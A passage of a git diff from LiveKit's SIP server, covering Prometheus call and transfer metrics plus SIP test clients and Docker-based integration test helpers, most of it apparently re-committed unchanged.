m.Health() == HealthOK { + return 1 + } + return 0 + })) + + m.cpuLoad = mustRegister(m, prometheus.NewGauge(prometheus.GaugeOpts{ + Namespace: "livekit", + Subsystem: "node", + Name: "cpu_load", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID, "node_type": "SIP"}, + })) + + m.transfersTotal = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "transfers_total", + Help: "Total number of SIP transfer attempts", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir"})) + + m.transfersSucceeded = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "transfers_succeeded_total", + Help: "Total number of successful SIP transfers", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir"})) + + m.transfersFailed = mustRegister(m, prometheus.NewCounterVec(prometheus.CounterOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "transfers_failed_total", + Help: "Total number of failed SIP transfers", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir", "reason"})) + + m.transfersActive = mustRegister(m, prometheus.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: "livekit", + Subsystem: "sip", + Name: "transfers_active", + Help: "Number of currently active SIP transfers", + ConstLabels: prometheus.Labels{"node_id": conf.NodeID}, + }, []string{"dir"})) + + m.started.Break() + + return nil +} + +func (m *Monitor) Shutdown() { + m.shutdown.Break() +} + +func (m *Monitor) Stop() { + for _, c := range m.metrics { + prometheus.Unregister(c) + } + m.metrics = nil +} + +//go:generate stringer -type HealthStatus -trimprefix Health + +type HealthStatus int + +const ( + HealthOK HealthStatus = iota + HealthNotStarted + HealthStopped + HealthUnderLoad + HealthDisabled +) + +func (m *Monitor) Health() HealthStatus { + if !m.started.IsBroken() { + return HealthNotStarted + } + if m.shutdown.IsBroken() { + return HealthStopped + } + if m.cpu.GetCPUIdle() < m.cpu.NumCPU()*(1-m.maxUtilization) { + return HealthUnderLoad + } + return HealthOK +} + +func (m *Monitor) IdleCPU() float64 { + return m.cpu.GetCPUIdle() +} + +func (m *Monitor) InviteReqRaw(dir CallDir) { + m.inviteReqRaw.Inc() +} + +func (m *Monitor) NewCall(dir CallDir, fromHost, toHost string) *CallMonitor { + return &CallMonitor{ + m: m, + dir: dir.String(), + fromHost: fromHost, + toHost: toHost, + } +} + +type CallMonitor struct { + m *Monitor + dir string + fromHost string + toHost string + provider atomic.Pointer[string] + started atomic.Bool + terminated atomic.Bool +} + +// ProviderUnknown is used when there is no provider information +const ProviderUnknown = "unknown" + +func (c *CallMonitor) SetProvider(provider string) { + if provider == "" { + return + } + c.provider.Store(&provider) +} + +func (c *CallMonitor) providerLabel() string { + if p := c.provider.Load(); p != nil { + return *p + } + return ProviderUnknown +} + +func (c *CallMonitor) labelsShort(l prometheus.Labels) prometheus.Labels { + out := prometheus.Labels{"dir": c.dir} + for k, v := range l { + out[k] = v + } + return out +} + +func (c *CallMonitor) labels(l prometheus.Labels) prometheus.Labels { + out := prometheus.Labels{"dir": c.dir, "to": c.toHost} + for k, v := range l { + out[k] = v + } + return out +} + +func (c *CallMonitor) InviteReq() { + c.m.inviteReq.With(c.labelsShort(nil)).Inc() +} + +func (c *CallMonitor) InviteAccept() { + c.m.inviteAccept.With(c.labels(nil)).Inc() +} + +// InviteErrorShort records a SIP INVITE rejection that occurred before a call +// object existed (no validated trunk). Writes to the legacy invite_error +// counter (kept for back-compat) and routes through CallTerminate so the +// unified calls_terminated counter has consistent classification. +func (c *CallMonitor) InviteErrorShort(t Termination) { + c.m.inviteErr.With(c.labelsShort(prometheus.Labels{"reason": t.Reason, "to": "unknown"})).Inc() + c.m.callsTerminated.With(c.labelsShort(prometheus.Labels{ + "to": "unknown", + "result": string(t.Result), + "reason": t.Reason, + })).Inc() +} + +// InviteError records a SIP INVITE rejection after the trunk is known. Used +// by outbound INVITE failure paths where CallTerminate also fires for the same +// call, so this only writes to the legacy invite_error counter. +func (c *CallMonitor) InviteError(reason string) { + c.m.inviteErr.With(c.labels(prometheus.Labels{"reason": reason})).Inc() +} + +func (c *CallMonitor) CallStart() { + if !c.started.CompareAndSwap(false, true) { + return + } + c.m.callsActive.With(c.labels(nil)).Inc() +} + +func (c *CallMonitor) CallEnd() { + if !c.started.CompareAndSwap(true, false) { + return + } + c.m.callsActive.With(c.labels(nil)).Dec() +} + +func (c *CallMonitor) CallTerminate(t Termination) { + if !c.terminated.CompareAndSwap(false, true) { + return + } + c.m.callsTerminated.With(c.labels(prometheus.Labels{ + "result": string(t.Result), + "reason": t.Reason, + })).Inc() +} + +func (c *CallMonitor) CallTerminationFailure() { + c.m.callsTerminationFailures.With(c.labelsShort(nil)).Inc() +} + +func (c *CallMonitor) RTPPacketSend(payloadType string) { + c.m.packetsRTP.With(c.labels(prometheus.Labels{"op": "send", "payload": payloadType})).Inc() +} + +func (c *CallMonitor) RTPPacketRecv(payloadType string) { + c.m.packetsRTP.With(c.labels(prometheus.Labels{"op": "recv", "payload": payloadType})).Inc() +} + +func (c *CallMonitor) SessionDur() func() time.Duration { + t1 := prometheus.NewTimer(c.m.durSession.With(c.labelsShort(nil))).ObserveDuration + t2 := c.StageDurTimer("session") + return func() time.Duration { + t2() + return t1() + } +} + +func (c *CallMonitor) CallDur() func() time.Duration { + t1 := prometheus.NewTimer(c.m.durCall.With(c.labelsShort(nil))).ObserveDuration + t2 := c.StageDurTimer("call") + return func() time.Duration { + t2() + return t1() + } +} + +func (c *CallMonitor) CheckDur() func(dt time.Duration) { + t1 := c.m.durCheck.With(c.labelsShort(nil)) + t2 := c.StageDur("auth-check") + return func(dt time.Duration) { + sec := dt.Seconds() + t1.Observe(sec) + t2.Observe(sec) + } +} + +func (c *CallMonitor) JoinDur() func() time.Duration { + t1 := prometheus.NewTimer(c.m.durJoin.With(c.labelsShort(nil))).ObserveDuration + t2 := c.StageDurTimer("invite-to-dispatch") + return func() time.Duration { + t2() + return t1() + } +} + +func (c *CallMonitor) StageDur(stage string) prometheus.Observer { + return c.m.durStage.With(c.labelsShort(prometheus.Labels{ + "stage": stage, + })) +} + +func (c *CallMonitor) StageDurTimer(stage string) func() time.Duration { + return prometheus.NewTimer(c.StageDur(stage)).ObserveDuration +} + +// PeerSDP increments SDP count and each individual codec from the SDP body. +// Should be called before codec selection such that failed negotiations are still counted +func (c *CallMonitor) PeerSDP(names []string, reinvite bool) { + provider := c.providerLabel() + c.m.sdpParsed.With(prometheus.Labels{"dir": c.dir, "provider": provider, "reinvite": strconv.FormatBool(reinvite)}).Inc() + for _, name := range names { + c.m.codecOffered.With(prometheus.Labels{ + "dir": c.dir, + "provider": provider, + "codec": name, + "reinvite": strconv.FormatBool(reinvite), + }).Inc() + } +} + +func (c *CallMonitor) SDPSize(sz int, isOffer bool, isFromRemote bool) { + typ := "answer" + if isOffer { + typ = "offer" + } + source := "local" + if isFromRemote { + source = "remote" + } + c.m.sdpSize.WithLabelValues(typ, source).Observe(float64(sz)) +} + +// SDPParsePanic increments a counter denoting the number of times a panic has +// occurred during SDP parsing. +func (c *CallMonitor) SDPParsePanic() { + c.m.sdpParseErrors.With(prometheus.Labels{ + "dir": c.dir, + "provider": c.providerLabel(), + "reason": "panic", + }).Inc() +} + +// SDPParseError increments a counter denoting the number of times a non-panic +// error has occurred during SDP parsing. +func (c *CallMonitor) SDPParseError() { + c.m.sdpParseErrors.With(prometheus.Labels{ + "dir": c.dir, + "provider": c.providerLabel(), + "reason": "other", + }).Inc() +} + +func (m *Monitor) TransferStarted(dir CallDir) { + m.transfersTotal.WithLabelValues(dir.String()).Inc() + m.transfersActive.WithLabelValues(dir.String()).Inc() +} + +func (m *Monitor) TransferSucceeded(dir CallDir) { + m.transfersSucceeded.WithLabelValues(dir.String()).Inc() + m.transfersActive.WithLabelValues(dir.String()).Dec() +} + +func (m *Monitor) TransferFailed(dir CallDir, reason string, changeActive bool) { + m.transfersFailed.WithLabelValues(dir.String(), reason).Inc() + if changeActive { + m.transfersActive.WithLabelValues(dir.String()).Dec() + } +} diff --git a/test/client/main.go b/test/client/main.go index 71f9f9f29..07dc9810b 100644 --- a/test/client/main.go +++ b/test/client/main.go @@ -1,101 +1,101 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "context" - "errors" - "flag" - "fmt" - "net" - "os" - "os/signal" - - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - - "github.com/livekit/sip/pkg/siptest" -) - -var ( - sipServer = flag.String("sip-server", "", "SIP server to connect to") - to = flag.String("to", "+15550100000", "number to dial") - from = flag.String("from", "+15550100001", "client number") - username = flag.String("username", "", "username for INVITE") - password = flag.String("password", "", "password for INVITE") - sipUri = flag.String("sip-uri", "example.pstn.twilio.com", "SIP server URI") - filePathPlay = flag.String("play", "audio.mkv", "play audio") - filePathSave = flag.String("save", "save.mkv", "save incoming audio to file") - sendDTMF = flag.String("dtmf", "", "send DTMF sequence") - codec = flag.String("codec", g711.ULawSDPNameAndRate, "audio codec") -) - -func main() { - flag.Parse() - - ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt) - defer cancel() - - cli, err := siptest.NewClient("", siptest.ClientConfig{ - Number: *from, - AuthUser: *username, - AuthPass: *password, - Codec: *codec, - OnBye: func() { - cancel() - }, - OnDTMF: func(ev dtmf.Event) { - fmt.Println("DTMF C:", ev.Code, " D:", string(ev.Digit)) - }, - }) - if err != nil { - panic(err) - } - defer cli.Close() - - if *sipServer == "" { - *sipServer = cli.LocalIP() + ":5060" - } - - if *filePathSave != "" { - f, err := os.Create(*filePathSave) - if err != nil { - panic(err) - } - defer f.Close() - cli.Record(f) - } - - if err = cli.Dial(*sipServer, *sipUri, *to, nil); err != nil { - panic(err) - } - - go func() { - <-ctx.Done() - cli.Close() - }() - - if dtmf := *sendDTMF; dtmf != "" { - if err = cli.SendDTMF(dtmf); err != nil { - panic(err) - } - } - - if err = cli.SendAudio(*filePathPlay); err != nil { - if !errors.Is(err, net.ErrClosed) { - panic(err) - } - } -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package main + +import ( + "context" + "errors" + "flag" + "fmt" + "net" + "os" + "os/signal" + + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + + "github.com/livekit/sip/pkg/siptest" +) + +var ( + sipServer = flag.String("sip-server", "", "SIP server to connect to") + to = flag.String("to", "+15550100000", "number to dial") + from = flag.String("from", "+15550100001", "client number") + username = flag.String("username", "", "username for INVITE") + password = flag.String("password", "", "password for INVITE") + sipUri = flag.String("sip-uri", "example.pstn.twilio.com", "SIP server URI") + filePathPlay = flag.String("play", "audio.mkv", "play audio") + filePathSave = flag.String("save", "save.mkv", "save incoming audio to file") + sendDTMF = flag.String("dtmf", "", "send DTMF sequence") + codec = flag.String("codec", g711.ULawSDPNameAndRate, "audio codec") +) + +func main() { + flag.Parse() + + ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt) + defer cancel() + + cli, err := siptest.NewClient("", siptest.ClientConfig{ + Number: *from, + AuthUser: *username, + AuthPass: *password, + Codec: *codec, + OnBye: func() { + cancel() + }, + OnDTMF: func(ev dtmf.Event) { + fmt.Println("DTMF C:", ev.Code, " D:", string(ev.Digit)) + }, + }) + if err != nil { + panic(err) + } + defer cli.Close() + + if *sipServer == "" { + *sipServer = cli.LocalIP() + ":5060" + } + + if *filePathSave != "" { + f, err := os.Create(*filePathSave) + if err != nil { + panic(err) + } + defer f.Close() + cli.Record(f) + } + + if err = cli.Dial(*sipServer, *sipUri, *to, nil); err != nil { + panic(err) + } + + go func() { + <-ctx.Done() + cli.Close() + }() + + if dtmf := *sendDTMF; dtmf != "" { + if err = cli.SendDTMF(dtmf); err != nil { + panic(err) + } + } + + if err = cli.SendAudio(*filePathPlay); err != nil { + if !errors.Is(err, net.ErrClosed) { + panic(err) + } + } +} diff --git a/test/cloud/cloud.go b/test/cloud/cloud.go index a7baee9bf..c0f074287 100644 --- a/test/cloud/cloud.go +++ b/test/cloud/cloud.go @@ -1,67 +1,67 @@ -package cloud - -import ( - "context" - "time" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/protocol/sip" - "github.com/livekit/psrpc" -) - -type CloudTestService struct { - conf *IntegrationConfig - - psrpcClient rpc.SIPInternalClient -} - -func NewCloudTestService(conf *IntegrationConfig, bus psrpc.MessageBus) (*CloudTestService, error) { - c, err := rpc.NewSIPInternalClient(bus) - if err != nil { - return nil, err - } - - return &CloudTestService{ - conf: conf, - psrpcClient: c, - }, nil -} - -func (s *CloudTestService) CreateSIPParticipant(ctx context.Context, req *livekit.CreateSIPParticipantRequest) (*livekit.SIPParticipantInfo, error) { - token, err := sip.BuildSIPToken(sip.SIPTokenParams{ - APIKey: s.conf.ApiKey, - APISecret: s.conf.ApiSecret, - RoomName: req.RoomName, - ParticipantIdentity: req.ParticipantIdentity, - ParticipantName: req.ParticipantName, - ParticipantMetadata: req.ParticipantMetadata, - ParticipantAttributes: req.ParticipantAttributes, - }) - if err != nil { - logger.Errorw("failed to create SIP token", err) - return nil, err - } - - callID := sip.NewCallID() - trunk := &livekit.SIPOutboundTrunkInfo{} - r, err := rpc.NewCreateSIPParticipantRequest(ProjectID, callID, Host, s.conf.WsUrl, token, req, trunk) - if err != nil { - logger.Errorw("failed to build CreateSIPParticipantRequest", err) - return nil, err - } - - resp, err := s.psrpcClient.CreateSIPParticipant(ctx, s.conf.ClusterID, r, psrpc.WithRequestTimeout(time.Second*30)) - if err != nil { - logger.Errorw("failed to create SIP participant", err) - return nil, err - } - - return &livekit.SIPParticipantInfo{ - ParticipantId: resp.ParticipantId, - ParticipantIdentity: resp.ParticipantIdentity, - RoomName: req.RoomName, - SipCallId: r.SipCallId, - }, nil -} +package cloud + +import ( + "context" + "time" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/protocol/sip" + "github.com/livekit/psrpc" +) + +type CloudTestService struct { + conf *IntegrationConfig + + psrpcClient rpc.SIPInternalClient +} + +func NewCloudTestService(conf *IntegrationConfig, bus psrpc.MessageBus) (*CloudTestService, error) { + c, err := rpc.NewSIPInternalClient(bus) + if err != nil { + return nil, err + } + + return &CloudTestService{ + conf: conf, + psrpcClient: c, + }, nil +} + +func (s *CloudTestService) CreateSIPParticipant(ctx context.Context, req *livekit.CreateSIPParticipantRequest) (*livekit.SIPParticipantInfo, error) { + token, err := sip.BuildSIPToken(sip.SIPTokenParams{ + APIKey: s.conf.ApiKey, + APISecret: s.conf.ApiSecret, + RoomName: req.RoomName, + ParticipantIdentity: req.ParticipantIdentity, + ParticipantName: req.ParticipantName, + ParticipantMetadata: req.ParticipantMetadata, + ParticipantAttributes: req.ParticipantAttributes, + }) + if err != nil { + logger.Errorw("failed to create SIP token", err) + return nil, err + } + + callID := sip.NewCallID() + trunk := &livekit.SIPOutboundTrunkInfo{} + r, err := rpc.NewCreateSIPParticipantRequest(ProjectID, callID, Host, s.conf.WsUrl, token, req, trunk) + if err != nil { + logger.Errorw("failed to build CreateSIPParticipantRequest", err) + return nil, err + } + + resp, err := s.psrpcClient.CreateSIPParticipant(ctx, s.conf.ClusterID, r, psrpc.WithRequestTimeout(time.Second*30)) + if err != nil { + logger.Errorw("failed to create SIP participant", err) + return nil, err + } + + return &livekit.SIPParticipantInfo{ + ParticipantId: resp.ParticipantId, + ParticipantIdentity: resp.ParticipantIdentity, + RoomName: req.RoomName, + SipCallId: r.SipCallId, + }, nil +} diff --git a/test/cloud/integration_test.go b/test/cloud/integration_test.go index 11632ce4b..234f37e60 100644 --- a/test/cloud/integration_test.go +++ b/test/cloud/integration_test.go @@ -1,53 +1,53 @@ -package cloud - -import ( - "context" - "testing" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/protocol/logger" - "github.com/livekit/psrpc" -) - -func TestSIP(t *testing.T) { - logger.InitFromConfig(&logger.Config{ - JSON: false, - Level: "debug", - }, "sip") - - conf, err := NewIntegrationConfig() - require.NoError(t, err) - - if conf.ApiKey == "" || conf.ApiSecret == "" || conf.WsUrl == "" { - t.Skip("missing env vars") - } - - bus := psrpc.NewLocalMessageBus(conf.PSRPC.BusOptions()...) - svc, err := NewService(t, conf, bus) - require.NoError(t, err) - defer svc.Stop(true) - - go func() { - _ = svc.Run() - }() - - a, err := NewPhoneClient(false) - require.NoError(t, err) - defer a.Close() - - b, err := NewPhoneClient(true) - require.NoError(t, err) - defer b.Close() - - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - go b.SendSilence(ctx) - - go a.SendAudio("audio.mkv") - - time.Sleep(time.Second * 5) - _ = a.SendDTMF("2345") - time.Sleep(time.Second * 5) -} +package cloud + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/protocol/logger" + "github.com/livekit/psrpc" +) + +func TestSIP(t *testing.T) { + logger.InitFromConfig(&logger.Config{ + JSON: false, + Level: "debug", + }, "sip") + + conf, err := NewIntegrationConfig() + require.NoError(t, err) + + if conf.ApiKey == "" || conf.ApiSecret == "" || conf.WsUrl == "" { + t.Skip("missing env vars") + } + + bus := psrpc.NewLocalMessageBus(conf.PSRPC.BusOptions()...) + svc, err := NewService(t, conf, bus) + require.NoError(t, err) + defer svc.Stop(true) + + go func() { + _ = svc.Run() + }() + + a, err := NewPhoneClient(false) + require.NoError(t, err) + defer a.Close() + + b, err := NewPhoneClient(true) + require.NoError(t, err) + defer b.Close() + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go b.SendSilence(ctx) + + go a.SendAudio("audio.mkv") + + time.Sleep(time.Second * 5) + _ = a.SendDTMF("2345") + time.Sleep(time.Second * 5) +} diff --git a/test/cloud/phone.go b/test/cloud/phone.go index b7472479e..8677e62ff 100644 --- a/test/cloud/phone.go +++ b/test/cloud/phone.go @@ -1,66 +1,66 @@ -package cloud - -import ( - "fmt" - "os" - "sync/atomic" - - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - - "github.com/livekit/sip/pkg/siptest" -) - -const ( - to = 15550100000 - codec = g711.ULawSDPNameAndRate -) - -var num atomic.Int64 - -type PhoneClient struct { - *siptest.Client - - rec *os.File -} - -func NewPhoneClient(record bool) (*PhoneClient, error) { - n := num.Add(1) - id := fmt.Sprintf("phone-%d", n) - - c, err := siptest.NewClient(id, siptest.ClientConfig{ - Number: fmt.Sprintf("+%d", to+n), - Codec: codec, - OnBye: func() {}, - OnDTMF: func(ev dtmf.Event) { - fmt.Println("DTMF C:", ev.Code, " D:", string(ev.Digit)) - }, - }) - if err != nil { - return nil, err - } - - p := &PhoneClient{ - Client: c, - } - if record { - p.rec, err = os.Create(fmt.Sprintf("%s.mkv", id)) - if err != nil { - return nil, err - } - c.Record(p.rec) - } - - if err = p.Client.Dial(p.LocalIP()+":5060", Uri, fmt.Sprintf("+%d", to), nil); err != nil { - return nil, err - } - - return p, nil -} - -func (p *PhoneClient) Close() { - p.Client.Close() - if rec := p.rec; rec != nil { - _ = p.rec.Close() - } -} +package cloud + +import ( + "fmt" + "os" + "sync/atomic" + + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + + "github.com/livekit/sip/pkg/siptest" +) + +const ( + to = 15550100000 + codec = g711.ULawSDPNameAndRate +) + +var num atomic.Int64 + +type PhoneClient struct { + *siptest.Client + + rec *os.File +} + +func NewPhoneClient(record bool) (*PhoneClient, error) { + n := num.Add(1) + id := fmt.Sprintf("phone-%d", n) + + c, err := siptest.NewClient(id, siptest.ClientConfig{ + Number: fmt.Sprintf("+%d", to+n), + Codec: codec, + OnBye: func() {}, + OnDTMF: func(ev dtmf.Event) { + fmt.Println("DTMF C:", ev.Code, " D:", string(ev.Digit)) + }, + }) + if err != nil { + return nil, err + } + + p := &PhoneClient{ + Client: c, + } + if record { + p.rec, err = os.Create(fmt.Sprintf("%s.mkv", id)) + if err != nil { + return nil, err + } + c.Record(p.rec) + } + + if err = p.Client.Dial(p.LocalIP()+":5060", Uri, fmt.Sprintf("+%d", to), nil); err != nil { + return nil, err + } + + return p, nil +} + +func (p *PhoneClient) Close() { + p.Client.Close() + if rec := p.rec; rec != nil { + _ = p.rec.Close() + } +} diff --git a/test/cloud/service.go b/test/cloud/service.go index a2558de5c..106b9a780 100644 --- a/test/cloud/service.go +++ b/test/cloud/service.go @@ -1,38 +1,38 @@ -package cloud - -import ( - "testing" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/psrpc" - "github.com/livekit/sip/pkg/service" - "github.com/livekit/sip/pkg/sip" - "github.com/livekit/sip/pkg/stats" -) - -func NewService(t testing.TB, conf *IntegrationConfig, bus psrpc.MessageBus) (*service.Service, error) { - psrpcClient := NewIOTestClient(conf) - log := logger.NewTestLogger(t) - - mon, err := stats.NewMonitor(conf.Config) - if err != nil { - return nil, err - } - - sipsrv, err := sip.NewService("", conf.Config, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) sip.StateHandler { - return sip.NewRPCStateHandler(psrpcClient) - }) - if err != nil { - return nil, err - } - svc := service.NewService(conf.Config, log, sipsrv, sipsrv.Stop, sipsrv.ActiveCalls, psrpcClient, bus, mon) - sipsrv.SetHandler(svc) - - if err = sipsrv.Start(); err != nil { - return nil, err - } - - return svc, nil -} +package cloud + +import ( + "testing" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/psrpc" + "github.com/livekit/sip/pkg/service" + "github.com/livekit/sip/pkg/sip" + "github.com/livekit/sip/pkg/stats" +) + +func NewService(t testing.TB, conf *IntegrationConfig, bus psrpc.MessageBus) (*service.Service, error) { + psrpcClient := NewIOTestClient(conf) + log := logger.NewTestLogger(t) + + mon, err := stats.NewMonitor(conf.Config) + if err != nil { + return nil, err + } + + sipsrv, err := sip.NewService("", conf.Config, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) sip.StateHandler { + return sip.NewRPCStateHandler(psrpcClient) + }) + if err != nil { + return nil, err + } + svc := service.NewService(conf.Config, log, sipsrv, sipsrv.Stop, sipsrv.ActiveCalls, psrpcClient, bus, mon) + sipsrv.SetHandler(svc) + + if err = sipsrv.Start(); err != nil { + return nil, err + } + + return svc, nil +} diff --git a/test/integration/docker_leftover_test.go b/test/integration/docker_leftover_test.go index 41d801f16..d333811de 100644 --- a/test/integration/docker_leftover_test.go +++ b/test/integration/docker_leftover_test.go @@ -1,73 +1,73 @@ -package integration - -import ( - "fmt" - "log" - "strings" - - "github.com/ory/dockertest/v3/docker" -) - -func requireNoLeftoverSIPTestDocker() { - containers, networks, err := listSIPTestLeftovers() - if err != nil { - log.Fatalf("Could not list siptest docker resources: %s", err) - } - if len(containers) == 0 && len(networks) == 0 { - return - } - - var b strings.Builder - b.WriteString("siptest docker resources already exist (possible parallel runs):\n") - if len(containers) > 0 { - fmt.Fprintf(&b, " containers: %s\n", strings.Join(containers, ", ")) - } - if len(networks) > 0 { - fmt.Fprintf(&b, " networks: %s\n", strings.Join(networks, ", ")) - } - b.WriteString("\nPurge with:\n") - if len(containers) > 0 { - fmt.Fprintf(&b, " docker rm -f %s\n", strings.Join(containers, " ")) - } - if len(networks) > 0 { - fmt.Fprintf(&b, " docker network rm %s\n", strings.Join(networks, " ")) - } - log.Fatal(b.String()) -} - -func listSIPTestLeftovers() (containers, networks []string, err error) { - listed, err := Docker.Client.ListContainers(docker.ListContainersOptions{All: true}) - if err != nil { - return nil, nil, err - } - for _, c := range listed { - if name, ok := sipTestContainerName(c); ok { - containers = append(containers, name) - } - } - - listedNets, err := Docker.Client.ListNetworks() - if err != nil { - return nil, nil, err - } - for _, n := range listedNets { - if isSIPTestName(n.Name) { - networks = append(networks, n.Name) - } - } - return containers, networks, nil -} - -func sipTestContainerName(c docker.APIContainers) (string, bool) { - for _, name := range c.Names { - name = strings.TrimPrefix(name, "/") - if isSIPTestName(name) { - return name, true - } - } - return "", false -} - -func isSIPTestName(name string) bool { - return strings.HasPrefix(strings.TrimPrefix(name, "/"), dockerPrefix) -} +package integration + +import ( + "fmt" + "log" + "strings" + + "github.com/ory/dockertest/v3/docker" +) + +func requireNoLeftoverSIPTestDocker() { + containers, networks, err := listSIPTestLeftovers() + if err != nil { + log.Fatalf("Could not list siptest docker resources: %s", err) + } + if len(containers) == 0 && len(networks) == 0 { + return + } + + var b strings.Builder + b.WriteString("siptest docker resources already exist (possible parallel runs):\n") + if len(containers) > 0 { + fmt.Fprintf(&b, " containers: %s\n", strings.Join(containers, ", ")) + } + if len(networks) > 0 { + fmt.Fprintf(&b, " networks: %s\n", strings.Join(networks, ", ")) + } + b.WriteString("\nPurge with:\n") + if len(containers) > 0 { + fmt.Fprintf(&b, " docker rm -f %s\n", strings.Join(containers, " ")) + } + if len(networks) > 0 { + fmt.Fprintf(&b, " docker network rm %s\n", strings.Join(networks, " ")) + } + log.Fatal(b.String()) +} + +func listSIPTestLeftovers() (containers, networks []string, err error) { + listed, err := Docker.Client.ListContainers(docker.ListContainersOptions{All: true}) + if err != nil { + return nil, nil, err + } + for _, c := range listed { + if name, ok := sipTestContainerName(c); ok { + containers = append(containers, name) + } + } + + listedNets, err := Docker.Client.ListNetworks() + if err != nil { + return nil, nil, err + } + for _, n := range listedNets { + if isSIPTestName(n.Name) { + networks = append(networks, n.Name) + } + } + return containers, networks, nil +} + +func sipTestContainerName(c docker.APIContainers) (string, bool) { + for _, name := range c.Names { + name = strings.TrimPrefix(name, "/") + if isSIPTestName(name) { + return name, true + } + } + return "", false +} + +func isSIPTestName(name string) bool { + return strings.HasPrefix(strings.TrimPrefix(name, "/"), dockerPrefix) +} diff --git a/test/integration/docker_mac_test.go b/test/integration/docker_mac_test.go index b8b710fd5..d62d9b95c 100644 --- a/test/integration/docker_mac_test.go +++ b/test/integration/docker_mac_test.go @@ -1,53 +1,53 @@ -//go:build darwin - -package integration - -import ( - "fmt" - "log" - "net" - "os" - "testing" - - "github.com/ory/dockertest/v3" -) - -var Docker *dockertest.Pool - -func TestMain(m *testing.M) { - home, err := os.UserHomeDir() - if err != nil { - log.Fatalf("Could not get user home dir: %s", err) - } - endpoint := fmt.Sprintf("unix://%s/.docker/run/docker.sock", home) - - pool, err := dockertest.NewPool(endpoint) - if err != nil { - log.Fatalf("Could not construct pool: %s", err) - } - - // uses pool to try to connect to Docker - err = pool.Client.Ping() - if err != nil { - log.Fatalf("Could not connect to Docker: %s", err) - } - Docker = pool - requireNoLeftoverSIPTestDocker() - - code := m.Run() - os.Exit(code) -} - -func waitTCPPort(t testing.TB, addr string) { - if err := Docker.Retry(func() error { - conn, err := net.Dial("tcp", addr) - if err != nil { - t.Log(err) - return err - } - _ = conn.Close() - return nil - }); err != nil { - t.Fatal(err) - } -} +//go:build darwin + +package integration + +import ( + "fmt" + "log" + "net" + "os" + "testing" + + "github.com/ory/dockertest/v3" +) + +var Docker *dockertest.Pool + +func TestMain(m *testing.M) { + home, err := os.UserHomeDir() + if err != nil { + log.Fatalf("Could not get user home dir: %s", err) + } + endpoint := fmt.Sprintf("unix://%s/.docker/run/docker.sock", home) + + pool, err := dockertest.NewPool(endpoint) + if err != nil { + log.Fatalf("Could not construct pool: %s", err) + } + + // uses pool to try to connect to Docker + err = pool.Client.Ping() + if err != nil { + log.Fatalf("Could not connect to Docker: %s", err) + } + Docker = pool + requireNoLeftoverSIPTestDocker() + + code := m.Run() + os.Exit(code) +} + +func waitTCPPort(t testing.TB, addr string) { + if err := Docker.Retry(func() error { + conn, err := net.Dial("tcp", addr) + if err != nil { + t.Log(err) + return err + } + _ = conn.Close() + return nil + }); err != nil { + t.Fatal(err) + } +} diff --git a/test/integration/docker_test.go b/test/integration/docker_test.go index 480ed0549..ea9d989b3 100644 --- a/test/integration/docker_test.go +++ b/test/integration/docker_test.go @@ -1,46 +1,46 @@ -//go:build !darwin - -package integration - -import ( - "log" - "net" - "os" - "testing" - - "github.com/ory/dockertest/v3" -) - -var Docker *dockertest.Pool - -func TestMain(m *testing.M) { - pool, err := dockertest.NewPool("") - if err != nil { - log.Fatalf("Could not construct pool: %s", err) - } - - // uses pool to try to connect to Docker - err = pool.Client.Ping() - if err != nil { - log.Fatalf("Could not connect to Docker: %s", err) - } - Docker = pool - requireNoLeftoverSIPTestDocker() - - code := m.Run() - os.Exit(code) -} - -func waitTCPPort(t testing.TB, addr string) { - if err := Docker.Retry(func() error { - conn, err := net.Dial("tcp", addr) - if err != nil { - t.Log(err) - return err - } - _ = conn.Close() - return nil - }); err != nil { - t.Fatal(err) - } -} +//go:build !darwin + +package integration + +import ( + "log" + "net" + "os" + "testing" + + "github.com/ory/dockertest/v3" +) + +var Docker 